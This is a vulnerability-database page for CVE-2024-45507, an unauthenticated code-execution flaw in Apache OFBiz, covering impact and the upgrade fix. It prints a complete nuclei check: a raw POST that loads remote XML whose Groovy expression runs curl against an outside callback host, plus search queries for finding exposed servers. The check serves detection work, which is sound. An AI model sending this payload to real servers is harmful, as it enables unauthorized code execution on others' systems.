Browse / CVEs / CVE-2024-45507
CVE-2024-45507· apache / ofbiz· CWE-918
Apache OFBiz - Remote Code Execution
criticalseverity
9.8CVSS score
96.4%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Apache OFBiz below 18.12.16 is vulnerable to unauthenticated remote code execution on Linux and Windows. An attacker with no valid credentials can exploit missing view authorization checks in the web application to execute arbitrary code on the server
Impact
Unauthenticated attackers can exploit missing view authorization checks to execute arbitrary code on Apache OFBiz servers.
Fix
Users are recommended to upgrade to version 18.12.16, which fixes the issue.
How to confirm it
Send: POST /webtools/control/view/StatsSinceStart
Positive when: contains in interactsh_protocol "dns" AND contains "StatsScreens"Run it with nuclei: nuclei -id CVE-2024-45507 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2024-45507
info:
name: Apache OFBiz - Remote Code Execution
author: chybeta,iamnooob,rootxharsh,pdresearch
severity: critical
description: |
Apache OFBiz below 18.12.16 is vulnerable to unauthenticated remote code execution on Linux and Windows. An attacker with no valid credentials can exploit missing view authorization checks in the web application to execute arbitrary code on the server
impact: |
Unauthenticated attackers can exploit missing view authorization checks to execute arbitrary code on Apache OFBiz servers.
remediation: |
Users are recommended to upgrade to version 18.12.16, which fixes the issue.
reference:
- https://xz.aliyun.com/t/15569
- https://x.com/chybeta/status/1833184898913636424
- https://lists.apache.org/thread/o90dd9lbk1hh3t2557t2y2qvrh92p7wy
- https://ofbiz.apache.org/download.html
- https://github.com/advisories/GHSA-w8w4-463p-8pg7
- https://github.com/vulhub/vulhub/tree/master/ofbiz/CVE-2024-45507
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-45507
cwe-id: CWE-918
epss-score: 0.96357
epss-percentile: 0.9988
cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
metadata:
vendor: apache
product: ofbiz
shodan-query:
- ofbiz.visitor=
- http.html:"ofbiz"
fofa-query:
- app="apache_ofbiz"
- body="ofbiz"
tags: cve,cve2024,apache,obiz,rce,oast,vkev,vuln
variables:
oast: "{{interactsh-url}}"
xml: '<?xml version="1.0" encoding="UTF-8"?><screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd"><screen name="StatsDecorator"><section><actions><set value="${groovy:''curl {{oast}}''.execute();}"/></actions></section></screen></screens>'
http:
- raw:
- |
POST /webtools/control/view/StatsSinceStart HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
statsDecoratorLocation=http%3a//oast.fun/x%3fb64_body%3d{{urlencode(urlencode(base64(xml)))}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- "StatsScreens"References
- https://xz.aliyun.com/t/15569
- https://x.com/chybeta/status/1833184898913636424
- https://lists.apache.org/thread/o90dd9lbk1hh3t2557t2y2qvrh92p7wy
- https://ofbiz.apache.org/download.html
- https://github.com/advisories/GHSA-w8w4-463p-8pg7
- https://github.com/vulhub/vulhub/tree/master/ofbiz/CVE-2024-45507
Use this check only on systems you are authorised to test. Where the data comes from